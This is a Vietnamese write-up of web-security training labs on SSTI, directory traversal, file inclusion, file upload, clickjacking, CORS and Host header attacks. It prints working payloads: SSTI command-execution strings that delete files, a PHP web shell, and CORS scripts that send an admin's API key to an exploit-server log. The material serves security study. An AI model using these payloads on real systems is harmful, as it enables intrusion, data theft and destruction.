Hình 3.3. Solve bài lab --- **XIV. Server-side template injection (SSTI)** === Lab: Basic server-side template injection --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là khai thác lỗ hổng SSTI trên ERB template để xóa tệp `morale.txt` của người dùng `carlos` (Hình 1.1) ![image](https://hackmd.io/_uploads/rJ544tpH0.png) Hình 1.1. Yêu cầu của bài lab - Sau khi đi vào ứng dụng và dùng thì em thấy rằng khi bấm view detail một sản phẩm thì phẩn hồi của sản phẩm phụ thuộc vào tham số `message` trên `URL` trong method `GET` để gọi tới thông tin sản phẩm đó (Hình 1.2) ![image](https://hackmd.io/_uploads/r1nMOFarC.png) Hình 1.2. Thông tin sản phẩm lấy từ tham số message trên URL **2. Đặt giả thuyết** - Khi một nội dung trong trang web được reflected lại từ giá trị ở method GET nó có thể bị XSS hoặc SSTI tuy nhiên khi thử XSS thì không được còn lại SSTI liệu có khai thác được không ? - Biết rằng template trang web đang sử dugnj đẻ hiện thị đó là ERB nên em đã lên google để tra các payload SSTI của template ERB này ![image](https://hackmd.io/_uploads/SyzzYY6HC.png) **3. Chứng minh giả thuyết** - Sau khi đọc xong các payload ở trên em thấy rằng có 1 payload để RCE đó là ``` <%= system("whoami") %> ``` - Đổi lại thành ls để xem đang có những file nào thì thấy rằng có file `morale.txt` ![image](https://hackmd.io/_uploads/ryG5tKpSA.png) Hình 3.1. Thực hiện xem các file có trong thư mục hiện tại - Yêu cầu của bài lab là xóa tệp `morale.txt` nên em chỉnh lại paylaod thành `<%= system("rm morale.txt") %>` và bài lab được solve (Hình 3.3) ![image](https://hackmd.io/_uploads/BkZeTCsBA.png) Hình 3.3. Solve bài lab --- Lab: Basic server-side template injection (code context) --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là khai thác lỗ hổng SSTI trên `Tornado template` để xóa tệp `morale.txt` của người dùng `carlos` (Hình 1.1) ![image](https://hackmd.io/_uploads/B1hM3KpSC.png) Hình 1.1. Yêu cầu của bài lab - Lần này dùng ứng dụng như lần trước tuy nhiên không còn thấy tham số ở URL được reflected lại nữa chỉ có một tính năng khả nghi nhất đó là comment vào bài blog (Hình 1.2) ![image](https://hackmd.io/_uploads/BycKRYaBC.png) Hình 1.2. Tính năng comment - Tuy nhiên khi comment thì có 2 giá tị mình có thể thao túng được đó là tên người comment và nội dung commnet - Trong trang `my-account` ứng dụng cho phép chúng ta tùy chọn các tên được hiển thị khi comment là `fullname`, `firstname` hay `lastname` ![image](https://hackmd.io/_uploads/ryHHk9TB0.png) Hình 1.2. Request khi chỉnh sửa cách hiển thị tên **2. Đặt giả thuyết** - Nội dung comment được ứng coi dụng coi là text thuần nên sẽ không thực thi gì cả chỉ còn tên người dùng là có thể chèn để khai thác SSTI - Tra cách khai thác SSTI của `Tornado template` thì em tìm thấy được payload để khai thác trên Hacktrick như sau ![image](https://hackmd.io/_uploads/S1jFbqTr0.png) Hình 2.1. Payload khai thác SSTI của `Tornado template` - Sau khi có paylaod vậy chúng ta có thể chèn thêm request trong hình 1.2 để khai thác lỗ hổng SSTI không ? **3. Chứng minh giả thuyết** - Sau khi đọc xong các payload ở trên em thấy rằng có 1 payload để RCE đó là ``` {% import os %} {{os.system('whoami')}} ``` - Tuy nhiên để payload trên hoạt động chúng ta cần thoát khỏi biểu thức cũ bằng cách đóng lại `}}` để chương trình thực thi nhiều hơn 1 yêu cầu ``` user.name}}{%25+import+os+%25}{{os.system('whoami') ``` - Yêu cầu của bài lab là xóa tệp `morale.txt` của carlos nên em chỉnh lại paylaod thành `}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')` và comment lại để bài lab được solve (Hình 3.3) ![image](https://hackmd.io/_uploads/BkX4EqarR.png) Hình 3.3. Solve bài lab --- Lab: Server-side template injection using documentation --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là khai thác lỗ hổng SSTI trên template chưa biết để xóa tệp `morale.txt` của người dùng `carlos` (Hình 1.1) ![image](https://hackmd.io/_uploads/SJOYBcpH0.png) Hình 1.1. Yêu cầu của bài lab - Lần này ứng dụng cung cấp cho chúng ta tài khoản của người quản lí nội dung trên trang web - Tài khoản đó có chức năng chỉnh sửa nội dung bài viết ![image](https://hackmd.io/_uploads/Hyj9oqTBA.png) Hình 1.2. Edit template - Khi dùng chức năng edit template thấy rằng ứng dụng sử dụng biểu thức `${someExpression}` để truy xuất thông tin về sản phẩm ![image](https://hackmd.io/_uploads/B1ymh5aBA.png) Hình 1.2. Trang web dùng biểu thức để truy xuất và hiện thị thông tin - Bình thường muốn tragn web tiết lộ công nghệ đang sử dụng có thể sử dụng cách tạo ra lỗi để trang web xuất hiện lỗi kèm tên công nghệ đang được sử dụng - Thử điền một giá trị không tồn tại vào biểu biểu thức để khi truy xuất dữ liệu in ra lỗi (Hình 1.3) ![image](https://hackmd.io/_uploads/HymXAcpHA.png) Hình 1.3. Thử giá trị biểu thức không tồn tại và in ra lỗi chứa tên template - Sau khi khi trang web sinh lỗi chúng ta đã biết tên của template là `freemarket` **2. Đặt giả thuyết** - Tra cách khai thác SSTI của `freemarket template` thì em tìm thấy được payload để khai thác trên Hacktrick như sau ![image](https://hackmd.io/_uploads/HJ0SyjTrC.png) Hình 2.1. Payload khai thác SSTI của `freemarket template` **3. Chứng minh giả thuyết** - Sau khi đọc xong các payload ở trên em thấy rằng có 1 payload để RCE đó là ``` ${ "freemarker.template.utility.Execute"?new()("id") } ``` - Sau khi chèn payload vào phần trước đó và bấm `Preview` thì trang wed đã thực thi lệnh command `id` trên hệ thống ![image](https://hackmd.io/_uploads/S1gRxoTSR.png) Hình 3.1. Lênh command id được thực thi thành công - Đổi payload từ show id thành xóa tệp `morale.txt` bằng payload `${ "freemarker.template.utility.Execute"?new()("rm morale.txt") }` và thực thi lại để bài lab được solve (Hình 3.3) ![image](https://hackmd.io/_uploads/BJTdWjTB0.png) Hình 3.1. Solve bài lab --- Lab: Server-side template injection in an unknown language with a documented exploit --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là khai thác lỗ hổng SSTI trên template chưa biết để xóa tệp `morale.txt` của người dùng `carlos` (Hình 1.1) ![image](https://hackmd.io/_uploads/BkdBzsaSA.png) Hình 1.1. Yêu cầu của bài lab - Lần này ứng dụng giống như bài lab đầu tiên mình làm trang web có chức năng giới thiệu các sản phẩm trong shop ![image](https://hackmd.io/_uploads/S1_NSn6B0.png) - Khi bấm `View details` thì thông tin về sản phẩm được hiển thị trong trang web được reflected lại trong yêu cầu GET ở tham số `message` ![image](https://hackmd.io/_uploads/B1rCHTTH0.png) Hình 1.2. Nội dung ở tham số message sẽ được hiển thị trong phần nội dung **2. Đặt giả thuyết** - Tương tự như phần trước lần này có thể thực hiện SSTI ở đây tuy nhiên cần kiểm tra được template của phần này là gì ? - Sử dụng cách đoán bằng các đặc trưng của các template như `${{<%[%'"}}%\` để có thể in ra lỗi chứa phiên bản của template là gì ? - Sau khi thử payload trên trang web đã in ra lỗi và tiết lộ thông tin về loại template đang được sử dụng ở ngôn ngữ nào ![image](https://hackmd.io/_uploads/rJWK1CaBR.png) Hình 2.1. Lỗi tiết lộ thông tin chương trình sử dụng template `Handlebars (NodeJS)` - Tra cách khai thác SSTI của `Handlebars (NodeJS)` thì em tìm thấy được payload để khai thác trên Hacktrick như sau ![image](https://hackmd.io/_uploads/HkW-lC6HA.png) Hình 2.1. Payload khai thác SSTI của `Handlebars (NodeJS)` **3. Khai thác bài lab** - Sau khi đọc xong các payload ở trên em thấy rằng có 1 payload để RCE và chỉnh sửa lại yêu cầu để xóa tệp đó là ``` {{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}} ``` - Muốn dùng được phải URLencode rồi đưa vào tham số message trên URL ``` %7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d ``` - Thực thi lại để bài lab được solve (Hình 3.3) ![image](https://hackmd.io/_uploads/rk4YE0TrA.png) Hình 3.1. Solve bài lab --- Lab: Server-side template injection with information disclosure via user-supplied objects --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là khai thác lỗ hổng SSTI trên template chưa biết để đánh cắp secret (Hình 1.1) ![image](https://hackmd.io/_uploads/r1n98RaSA.png) Hình 1.1. Yêu cầu của bài lab - Lần này ứng dụng cung cấp cho chúng ta tài khoản của người có thể đăng nội dung lên trang web và truy xuất thông tin bằng các template ở phần nội dung ![image](https://hackmd.io/_uploads/HJAHYCprA.png) Hình 1.2. Chức năng đăng nội dung lên trang web và sử dụng template để truy xuất thông tin từ máy chủ - Vẫn như bài trước chúng ta có thể can thiệp vào biểu thức template truy xuất dữ liệu máy chủ ![image](https://hackmd.io/_uploads/B1rCHTTH0.png) Hình 1.2. Nội dung ở tham số message sẽ được hiển thị trong phần nội dung **2. Đặt giả thuyết** - Tương tự như phần trước lần này có thể thực hiện SSTI ở đây tuy nhiên cần kiểm tra được template của phần này là gì ? - Sử dụng cách đoán bằng các đặc trưng của các template như `${{<%[%'"}}%\` để có thể in ra lỗi chứa phiên bản của template là gì ? - Sau khi thử payload trên trang web đã in ra lỗi và tiết lộ thông tin về loại template đang được sử dụng ở ngôn ngữ nào ![image](https://hackmd.io/_uploads/rJS9Qy0SA.png) Hình 2.1. Lỗi tiết lộ thông tin chương trình sử dụng template `Django Template` - Tra cách khai thác SSTI của `Django Template` thì em tìm thấy được payload để khai thác đọc `secret key` của template này như sau ![image](https://hackmd.io/_uploads/SJFRXkRBC.png) Hình 2.1. Payload khai thác SSTI để đọc secret key của `Django Template` **3. Khai thác bài lab** - Sau khi đọc xong các payload ở trên em thấy có payload để đọc`secret key` ``` {{settings.SECRET_KEY}} ``` - Chèn payload trên và thực thi lại để đọc được secret key (Hình 3.3) ![image](https://hackmd.io/_uploads/SyI9E1CHA.png) Hình 3.1. Secret key bị lộ - Nộp `secret key` và bài lab được thực thi thành công ![image](https://hackmd.io/_uploads/SJQES10BC.png) Hình 3.2. Solve bài lab --- **XV. Directory Traversal** === Directory Traversal - Directories --- **1. Chức năng của ứng dụng** - Ứng dụng hiển thị một số tệp PDF ở trên trang để cho người dùng chọn (Hình 1.1) ![image](https://hackmd.io/_uploads/rkNyjM1U0.png) Hình 1.1. Trang chính của ứng dụng - Sau khi người dùng chọn sẽ được hiện thị thêm một là là nội dung của file PDF mình đã chọn ![image](https://hackmd.io/_uploads/B1nZifkU0.png) Hình 1.2. Hiện thị tab mới nội dung của file PDF - Xem kĩ hơn trong Burp về quá trình mình sử ddụng trang web vừa rồi, thấy rằng ở trang chính giá trị của tham số trên URL đó là `directory=documents`, có vẻ như document là nơi lưu trữ các tệp PDF đó **2. Đặt giả thuyết** - Thấy rằng trang web truyền tên thư mục `document` vào tham số trong URL các file trong thư mục đó đã được list hết ra. - Vậy liệu chúng ta có thể truyền dường dẫn khác để đọc được nội dung các thưc mục cũng như file khác không **3. Chứng minh giả thuyết** - Cách một đó là sử dụng đường dẫn tuyệt đối - Cách 2 sử dụng đường dẫn tương đối là cú pháp `../`. Vậy nên nếu thêm `../` vào sau giá trị `document` trên URL thì chúng ta sẽ đọc được các file của thư mục cha của thư mục `document` - Sau khi dùng Burp Repeater thêm `/../` đã list ra được tất cả các tệp tin và thư mục khác có trong thư mục `bWAPP` (Thư mục cha của thư mục document) ![image](https://hackmd.io/_uploads/S1pxCGJU0.png) Hình 3.1. Các tệp tin đã được list ra - Trong đó có file nguy hiểm là `secret.php` làm lộ thông tin của người dùng ![image](https://hackmd.io/_uploads/rkpb1QJ8C.png) ![image](https://hackmd.io/_uploads/r1YXkXkIA.png) - Tuy nhiên lỗ hổng này chỉ dừng lại ở việc list ra các file và thưc mục có trong hệ thống chứ chưa đọc được nội dung chi tiết của từng file. --- Directory Traversal - Files --- **1. Chức năng của ứng dụng** - Ứng dụng hiển thị một dòng thông báo ![image](https://hackmd.io/_uploads/rkD8pL18C.png) - Có vẻ dòng thông báo được lấy từ tệp nằm trên tham số page ở URL ![image](https://hackmd.io/_uploads/HyGs6Ly8C.png) **2. Đặt giả thuyết** - Tương tự bài trước tuy nhiên bài này là đọc nội dung file **3. Chứng minh giả thuyết** - Cách 1 sử dụng đường dẫn tuyệt đối `/etc/passwd` - Cách 2 sử dụng đường dẫn tưởng đối là cú pháp `../`. - Sau khi dùng Burp Repeater sử dụng đường dẫn tương đối tuy nhiên là cùng thư mục nên không cần `../` có thể đọc được code ![image](https://hackmd.io/_uploads/SJtoR8kIR.png) Hình 3.1. Đọc được code tệp `directory_traversal_1.php` - Ở level Medium và High vẫn có thể khai thác tuy nhiên ở level High chỉ đọc được các tệp trogn thư mục hiện tại --- **XVI. File Inclusion (LFI và RFI)** === Remote & Local File Inclusion (RFI/LFI) --- **1. Chức năng của ứng dụng** - Ứng dụng hiển thị lời cảm ơn tùy theo ngôn ngữ mình chọn (Hình 1.1) ![image](https://hackmd.io/_uploads/B1_-bPJUR.png) Hình 1.1. Trang chính của ứng dụng - Giá trị của ngôn ngữ được chọn phụ thuộc vào request method GET với tham số language chứa file sẽ hiển thị ngôn ngữ đó ![image](https://hackmd.io/_uploads/S1AXZvJ8C.png) - Giá trị ở tham số trên URL được đưa vào hàm `include` ![image](https://hackmd.io/_uploads/HyDNZw1IC.png) - Biến `$language` được xử lí theo từng level ![image](https://hackmd.io/_uploads/rkc8-PJ8C.png) **2. Đặt giả thuyết** - Tham số được đưa thẳng vào hàm include vậy nên chúng ta có thể thực hiện LFI và RFI **3. Chứng minh giả thuyết** - LFI: - Chúng ta có thể đọc và thực thi tệp tùy trên máy chủ - Ví dụ đọc tệp /etc/passwd ![image](https://hackmd.io/_uploads/H1BAbD180.png) - RFI: Chúng ta có thể thực thi các tệp độc hại từ server khác - Tạo payload ở server của chúng ta ![image](https://hackmd.io/_uploads/ryRl4vJLR.png) - Thêm đường link dẫn tới payload vào tham số là thực thi thành công ![image](https://hackmd.io/_uploads/rJM1NwkLR.png) - Với level medium chỉ cần khi thay tên file bỏ đuôi php - Còn level High thì chỉ LFI được --- **XVII. Insecure/Unrestricted File Upload** === Unrestricted File Upload --- **1. Chức năng của ứng dụng** - Ứng dụng có chức năng upload file và xem lại file mình đã upload (Hình 1.1) ![image](https://hackmd.io/_uploads/HJdfBvkI0.png) Hình 1.1. Trang chính của ứng dụng **2. Đặt giả thuyết** - Liệu chúng ta có thể upload file shell lên và thực thi mã từ xa cới server **3. Chứng minh giả thuyết** - Ở level Low ứng dụng không validate vì vậy chỉ cần upload file shell có mã liên kết tới command là được - Payload `<?php echo shell_exec($_GET['cmd']); ?>` - Upload thành coogn file shell và thực thi mã từ xa thành công ![image](https://hackmd.io/_uploads/S1VeIwkI0.png) - Ở level Medium trang web sử dụng blacklist ![image](https://hackmd.io/_uploads/BJc8LvJIC.png) - Tuy nhiên trong đoạn tách mảng để lấy đuôi file lại sai hoặc có thể khai thác upload các file khác ![image](https://hackmd.io/_uploads/SJzjUvJ8C.png) - Việc cắt lấy phân sau dấu chấm cuối cùng chúng ta có thể bypass bằng cách đặt tên file có dấu `.` cuối cùng, ví dụ: `test.php.` ![image](https://hackmd.io/_uploads/BJ_3PwyIC.png) - Thành công bypass blacklist ![image](https://hackmd.io/_uploads/HycxwvyL0.png) --- **XVIII. ClickJacking** === ClickJacking (Movie Tickets) --- **1. Chức năng của ứng dụng** - Ứng dụng có chức năng đặt vé xem phim (Hình 1.1) ![image](https://hackmd.io/_uploads/By8QuvJ8R.png) Hình 1.1. Trang chính của ứng dụng - Người dùng chỉ cần bấm `Confirm` là đặt vé thành công tài khoản người dùng trừ tiền luôn ![image](https://hackmd.io/_uploads/B17Ddw1I0.png) Hình 1.2. Thông báo khi đặt vé thành công **2. Đặt giả thuyết** - Liệu chúng ta có thể khai thác lỗ hổng clickjacking bằng cách hiện thị lên trang web một layer khác để che hết đi trang web chính chỉ đề lại mỗi nút confirm thì người dùng sẽ không biết là họ sẽ mua vé được không **3. Chứng minh giả thuyết** - Code html để làm điều đó ```javascript= <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>FREE MOVIE TICKETS</title> </head> <body> <div style="position:absolute; top:0px; left:0px; width:1000px; height:525px; background:white; z-index:10;"> <img alt="" src="../bWAPP/images/free_tickets.png"> </div> <iframe style="position:absolute; top:70px; left:0px; width:1000px; height:1000px;" src="../bWAPP/clickjacking.php" frameborder="0"></iframe> </body> </html> ``` - Trang web sẽ chỉ hiển thị mỗi nút confirm ![image](https://hackmd.io/_uploads/SyguVYDJ8C.png) - Và khi người dùng bấm vào vé sẽ được đặt thành công ![image](https://hackmd.io/_uploads/Sk6UFPJI0.png) --- **XIX. Cross-origin resource sharing (CORS)** === Lab: CORS vulnerability with basic origin reflection --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là khai thác lỗ hổng CORS do cấu hình sai để truy xuất khóa API của quản trị viên (Hình 1.1) ![image](https://hackmd.io/_uploads/SJz2UJRB0.png) Hình 1.1. Yêu cầu của bài lab - Sau khi đi vào ứng dụng và dùng thì em thấy rằng trang `/accountDetails` của ứng sẽ sẽ chứa API key của mỗi tài khoản tương ứng (Hình 1.2) ![image](https://hackmd.io/_uploads/SJCRMeRSC.png) Hình 1.2. API nằm trong trang `my-account` - Xem kĩ hơn Request và Response của trang `/accountDetails` về việc lấy về APIkey của người dùng (Hình 1.3) ![image](https://hackmd.io/_uploads/B1QPLxAB0.png) Hình 1.3. Request khi truy cập trang `my-account` để lấy APIkey - Ở trong Response có header `Access-Control-Allow-Credentials` mà khi `Access-Control-Allow-Credentials` bật thành true thì khi một trang web khác truy xuất dữ liệu từ trang web hiện tại sẽ không bắt đăng nhập lại, rất liên quan tới CORS - Giờ muốn test trang web cấu hình CORS có kĩ không thì ta sẽ thử thêm header `Origin: https://example.com` để xem liệu trang web khác truy cập vào trang web hiện tại có bị chặn hay không ? - Trang web chấp nhận truy cập từ trang web `https://example.com` ![image](https://hackmd.io/_uploads/Syy8hlAS0.png) Hình 1.4. Header `Access-Control-Allow-Origin` chấp nhận truy cập từ các trang web khác **2. Đặt giả thuyết** - Trang web chấp nhận sự truy cập từ các trang web khác nên có vẻ như nó đã bị CORS. Vậy nếu chúng ta tận dụng việc có thể truy cập dữ liệu thì mình sẽ lừa admin truy cập vào trang web do mình kiểm soát để đọc thông tin APIkey của tài khoản admin trong trang `/accountDetails` **3. Chứng minh giả thuyết** - Tạo một trang web với code để truy xuất dữ liệu từ trang `/accountDetails` như sau ```javascript= <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a93000003a7572380cdda9b00f900c5.web-security-academy.net//accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='/log?key='+this.responseText; }; </script> ``` - Tạo ra trang web với code trên để lừa admin truy cập vào sau đó sẽ đọc được APIkey của admin trong log của server do mình tạo - Sau khi admin truy cập vào trang web với code trên Apikey của admin sẽ gửi về log (Hình 3.1) ![image](https://hackmd.io/_uploads/SJ-Qeb0BC.png) Hình 3.1. Thông tin về admin xuất hiện trong log - Lấy thông tin về APIkey nộp và bài lab được solve (Hình 3.2) ![image](https://hackmd.io/_uploads/BJ0vx-0r0.png) Hình 3.2. Solve bài lab --- Lab: CORS vulnerability with trusted null origin --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là khai thác lỗ hổng CORS do cấu hình sai khi để lọt giá trị null để truy xuất khóa API của quản trị viên (Hình 1.1) ![image](https://hackmd.io/_uploads/B12tJykUR.png) Hình 1.1. Yêu cầu của bài lab - Sau khi đi vào ứng dụng và dùng thì em thấy rằng trang `/accountDetails` của ứng sẽ sẽ chứa API key của mỗi tài khoản tương ứng (Hình 1.2) ![image](https://hackmd.io/_uploads/SJCRMeRSC.png) Hình 1.2. API nằm trong trang `my-account` - Xem kĩ hơn Request và Response của trang `/accountDetails` về việc lấy về APIkey của người dùng (Hình 1.3) ![image](https://hackmd.io/_uploads/B1QPLxAB0.png) Hình 1.3. Request khi truy cập trang `my-account` để lấy APIkey - Ở trong Response có header `Access-Control-Allow-Credentials` mà khi `Access-Control-Allow-Credentials` bật thành true thì khi một trang web khác truy xuất dữ liệu từ trang web hiện tại sẽ không bắt đăng nhập lại, rất liên quan tới CORS **2. Đặt giả thuyết** - Giờ muốn test trang web cấu hình CORS có kĩ không thì ta sẽ thử thêm header `Origin: null` để xem liệu trang web khác có `Origin: null` truy cập vào trang web hiện tại có bị chặn hay không ? **3. Chứng minh giả thuyết** - Trang web chấp nhận truy cập từ header `Origin: null` ![image](https://hackmd.io/_uploads/ByeHDJkUR.png) Hình 1.4. Header `Access-Control-Allow-Origin` chấp nhận header `Origin: null` **2. Đặt giả thuyết** - Trang web chấp nhận sự truy cập từ các trang web khác với header `Origin: null` có vẻ như nó đã bị CORS. Vậy nếu chúng ta tận dụng việc có thể truy cập dữ liệu thì mình sẽ lừa admin truy cập vào trang web do mình kiểm soát để đọc thông tin APIkey của tài khoản admin trong trang `/accountDetails` **3. Chứng minh giả thuyết** - Tạo một trang web với code để truy xuất dữ liệu từ trang `/accountDetails` mà có header là `Origin: null` như sau ```javascript= <iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','0a610071040ab6e780415db200d90077.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='exploit-0ab200bc0406b63d805c5ce101f50031.exploit-server.net/log?key='+encodeURIComponent(this.responseText); }; </script>"></iframe> ``` - Tạo ra trang web với code trên để lừa admin truy cập vào sau đó sẽ đọc được APIkey của admin trong log của server do mình tạo - Sau khi admin truy cập vào trang web với code trên Apikey của admin sẽ gửi về log (Hình 3.1) ![image](https://hackmd.io/_uploads/rJpGGZJUR.png) Hình 3.1. Thông tin về admin xuất hiện trong log - Decode đoạn trên ta được thông tin về APIkey ![image](https://hackmd.io/_uploads/HywWG-kLC.png) Hình 3.1. Thông tin về admin xuất hiện trong log - Lấy thông tin về APIkey nộp và bài lab được solve (Hình 3.2) ![image](https://hackmd.io/_uploads/r1Slm-18A.png) Hình 3.2. Solve bài lab --- Lab: CORS vulnerability with trusted insecure protocols --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là khai thác lỗ hổng CORS do cấu hình sai ở chỗ nó tin cậy tất cả các tên miền phụ bất kể giao thức để truy xuất khóa API của quản trị viên (Hình 1.1) ![image](https://hackmd.io/_uploads/By2SKeyLR.png) Hình 1.1. Yêu cầu của bài lab - Sau khi đi vào ứng dụng và dùng thì em thấy rằng trang `/accountDetails` của ứng sẽ sẽ chứa API key của mỗi tài khoản tương ứng (Hình 1.2) ![image](https://hackmd.io/_uploads/SJCRMeRSC.png) Hình 1.2. API nằm trong trang `my-account` - Xem kĩ hơn Request và Response của trang `/accountDetails` về việc lấy về APIkey của người dùng (Hình 1.3) ![image](https://hackmd.io/_uploads/B1QPLxAB0.png) Hình 1.3. Request khi truy cập trang `my-account` để lấy APIkey - Ở trong Response có header `Access-Control-Allow-Credentials` mà khi `Access-Control-Allow-Credentials` bật thành true thì khi một trang web khác truy xuất dữ liệu từ trang web hiện tại sẽ không bắt đăng nhập lại, rất liên quan tới CORS **2. Đặt giả thuyết** - Thêm thử header Origin có giá trị là tên miền khác hoặc null đều khoogn được tuy nhiên khi thêm bừa một tên miền phụ thì trường header `Access-Control-Allow-Origin: ` lại chấp nhận (Hình 2.1) ![image](https://hackmd.io/_uploads/B1SZHW1I0.png) Hình 2.1. Thêm Origin với trị và các subdomain của domain chính do mình tự tạo - Đổi thử cả phương thức thành http trogn origin cũng chấp nhận (Hình 2.2) ![image](https://hackmd.io/_uploads/BJ3jHZyLA.png) Hình 2.2. Đổi phương thức thành http trong Origin **3. Chứng minh giả thuyết** - Biết rằng muốn thác thác cần sử dụng subdomain để có thể đọc được nội dung trong trang web ở domain chính tuy nhiên việc tự tạo là không khả thi - Vậy nên mình đã phải đi tìm xem có subdomain nào có lỗ hổng XSS không ? - Sau một hồi tìm kiếm thì thấy rằng trong trang web hiển thị sản phẩm phần check số lượng sản phẩm khi bấm vào sẽ hiển thị ra 1 trang web khác là subdomain của trang web chính hiển thị số lượng sản phẩm (Hình 3.1) ![image](https://hackmd.io/_uploads/rk17rzyLC.png) Hình 3.1. Trang web chứa Subdomain hiển thị số lượng sản phẩn - Muốn thực hiện đọc nội dung ở trang `/accountDetails` trogn domain chính cần phải thực thi được XSS - Sau khi check thì em nhận thấy tham số producId bị XSS (Hình 3.2) ![image](https://hackmd.io/_uploads/S1eazUG18R.png) Hình 3.2. Thực thi thành công payload `<script>alert(origin)</script>` - Viết payload để đọc được thông tin trang `/accountDetails` trong domain chính như sau: ```javascript= <script> document.location="http://stock.0a09003c03fc8689813f533300ac00ef.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a09003c03fc8689813f533300ac00ef.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0a47004703d686cd810552b701460093.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1" </script> ``` - Tạo ra trang web với code trên để lừa admin truy cập vào sau đó sẽ đọc được APIkey của admin trong log của server do mình tạo ![image](https://hackmd.io/_uploads/B1YGufyLA.png) Hình 3.3. Tạo trang web với code là paylaod trên - Sau khi admin truy cập vào trang web với code trên Apikey của admin sẽ gửi về log (Hình 3.4) ![image](https://hackmd.io/_uploads/By0r_GkUC.png) Hình 3.4. Thông tin về admin xuất hiện trong log - Decode đoạn trên ta được thông tin về APIkey ![image](https://hackmd.io/_uploads/H17YdzyU0.png) Hình 3.5. Thông tin về admin xuất hiện trong log - Lấy thông tin về APIkey nộp và bài lab được solve (Hình 3.2) ![image](https://hackmd.io/_uploads/rJucdzyLA.png) Hình 3.2. Solve bài lab --- **XX. HTTP Host header attacks** === Host Header Attack (Cache Poisoning) --- - Giống với bài `Lab: Web cache poisoning via ambiguous requests` --- Host Header Attack (Cache Poisoning) --- - Giống với bài trong `A6 - Sensitive Data Exposure` --- Lab: Basic password reset poisoning --- **1. Chức năng của ứng dụng** - Yêu cầu của bài lab này đó là lừa người dùng reset mật khẩu để có thể đặt lại được mật khẩu của carlos và đăng nhập vào tài khoản đó (Hình 1.1) ![image](https://hackmd.io/_uploads/rkUKfWAB0.png) Hình 1.1. Yêu cầu của bài lab - Trang web có tính năng quên mật khẩu (Hình 1.2) ![image](https://hackmd.io/_uploads/HJStX-0BR.png) Hình 1.2. Chức năng quên mật khẩu - Dùng email của bài lab cung cấp đó là `wiener@exploit-0aaf003304ad476c802516c8011500a5.exploit-server.net` thử nhập vào ô điền email trong phần quên mật khẩu - Sau khi submit thì có một liên kết đổi mật khẩu được gửi tới email ![image](https://hackmd.io/_uploads/r1QWIb0HA.png) Hình 1.3. Liên kết dẫn tới trang đổi mật khẩu được gửi trong email - Khi bấm vào liên kết sẽ được dẫn tới trang đổi mật khẩu mới ![image](https://hackmd.io/_uploads/SyAE8ZArC.png) Hình 1.4. Trang nhập mật khẩu mới - Có thể thấy link đổi 